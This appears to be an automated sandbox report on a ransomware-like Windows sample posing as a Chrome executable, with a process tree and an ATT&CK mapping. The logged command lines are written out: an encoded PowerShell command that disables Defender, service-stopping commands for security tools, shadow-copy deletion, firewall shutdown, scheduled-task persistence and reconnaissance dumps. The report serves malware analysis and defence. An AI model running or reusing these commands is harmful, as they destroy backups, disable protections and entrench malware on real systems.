PID 4300 wrote to memory of 4852	4300	konkrete.io_chrome.exe	159
PID 4300 wrote to memory of 5040	4300	konkrete.io_chrome.exe	135
PID 4300 wrote to memory of 616	4300	konkrete.io_chrome.exe	140
PID 4300 wrote to memory of 1144	4300	konkrete.io_chrome.exe	142
PID 4300 wrote to memory of 1824	4300	konkrete.io_chrome.exe	143
PID 4300 wrote to memory of 5348	4300	konkrete.io_chrome.exe	144
PID 4300 wrote to memory of 2256	4300	konkrete.io_chrome.exe	145
PID 4300 wrote to memory of 4824	4300	konkrete.io_chrome.exe	146
PID 4300 wrote to memory of 468	4300	konkrete.io_chrome.exe	147
PID 4300 wrote to memory of 1420	4300	konkrete.io_chrome.exe	194
PID 4300 wrote to memory of 2744	4300	konkrete.io_chrome.exe	156
PID 616 wrote to memory of 4588	616	cmd.exe	157
PID 1824 wrote to memory of 1312	1824	cmd.exe	158
PID 2256 wrote to memory of 4852	2256	cmd.exe	159
PID 4300 wrote to memory of 2528	4300	konkrete.io_chrome.exe	161
PID 5348 wrote to memory of 3928	5348	cmd.exe	162
PID 1144 wrote to memory of 5680	1144	cmd.exe	163
PID 4824 wrote to memory of 5500	4824	cmd.exe	164
PID 468 wrote to memory of 5460	468	cmd.exe	165
PID 4852 wrote to memory of 3612	4852	net.exe	166
PID 616 wrote to memory of 3460	616	cmd.exe	167
PID 4300 wrote to memory of 4324	4300	konkrete.io_chrome.exe	168
PID 4300 wrote to memory of 5312	4300	konkrete.io_chrome.exe	169
PID 4300 wrote to memory of 5908	4300	konkrete.io_chrome.exe	170
PID 4300 wrote to memory of 4984	4300	konkrete.io_chrome.exe	195
PID 4300 wrote to memory of 6120	4300	konkrete.io_chrome.exe	172
PID 4300 wrote to memory of 5404	4300	konkrete.io_chrome.exe	173
PID 5908 wrote to memory of 3588	5908	net.exe	180
PID 5304 wrote to memory of 5096	5304	chrome.exe	183
PID 5304 wrote to memory of 5916	5304	chrome.exe	184
PID 5304 wrote to memory of 3180	5304	chrome.exe	201
PID 5304 wrote to memory of 5916	5304	chrome.exe	184
PID 5304 wrote to memory of 3180	5304	chrome.exe	201

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://konkrete.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff05a8c728,0x7fff05a8c734,0x7fff05a8c740
    3⤵
    PID:3116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,6975894247330205332,7964988074770706803,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,17957129912261744301,13345083552624933044,262144 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:5004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,2175420684356636556,11294801084163013319,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:13
    3⤵
    PID:4564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3188,i,13272675917590711185,10197357370440461724,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:5052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3256,i,16605664632783649395,14560209966813790413,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:5448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4700,i,1851656232703544329,16155119890276512828,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
    3⤵
    PID:3432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4852,i,11182103151637969085,14780113467281055147,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:1
    3⤵
    PID:4308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,10621728559220500451,264115276665860600,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
    3⤵
    PID:5096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5652,i,2329731872996434812,8139899262702711575,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
    3⤵
    PID:5916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5668,i,6261116506091547683,7013854129438476033,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:1
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5968,i,12845611919111240754,11886179990854780829,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6080,i,4675170303435111747,12320469996812302265,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:2748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6124,i,16368509606215488781,15397074519992183298,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:1
    3⤵
    PID:1264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6104,i,16191958985504841102,17720632391239924207,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
    3⤵
    PID:5596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5744,i,15833832821954262464,6794284203811031171,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
    3⤵
    PID:5672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6256,i,9900491226453919080,11414735176356672704,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:1
    3⤵
    PID:4280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5656,i,17044229542344005665,17971453831350108687,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:1
    3⤵
    PID:1420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6260,i,17273000463655129904,13405161153385032116,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
    3⤵
    PID:4984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5848,i,1783386964246520878,3079020615093685387,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
    3⤵
    PID:2820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5800,i,13083072883860033155,7206409498102539532,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
    3⤵
    PID:4112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,4124082433428596811,17878776439499901954,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:4792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5684,i,11508680865059636035,16034773556768106378,524288 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:14
    3⤵
    PID:1080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5096,i,15529358049979984809,7506650689916569444,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
    3⤵
    PID:5332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5688,i,5778082261867367377,6587111519441578806,2097152 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:9
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3312,i,636895631225454771,6293070452164015756,262144 --field-trial-handle=1916,i,4672794901348728545,14962517671262079141,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5032
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4824
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2032
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4976
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe"
    3⤵
    PID:4228
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1980
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5952
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2468
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4852
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4588
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5680
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1312
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3612
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5460
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1420
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2744
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2528
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4324
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5312
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3588
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:6120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5404

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2336

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4484

C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
1⤵
PID:2832

C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\konkrete.io_chrome.exe
1⤵
PID:5236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery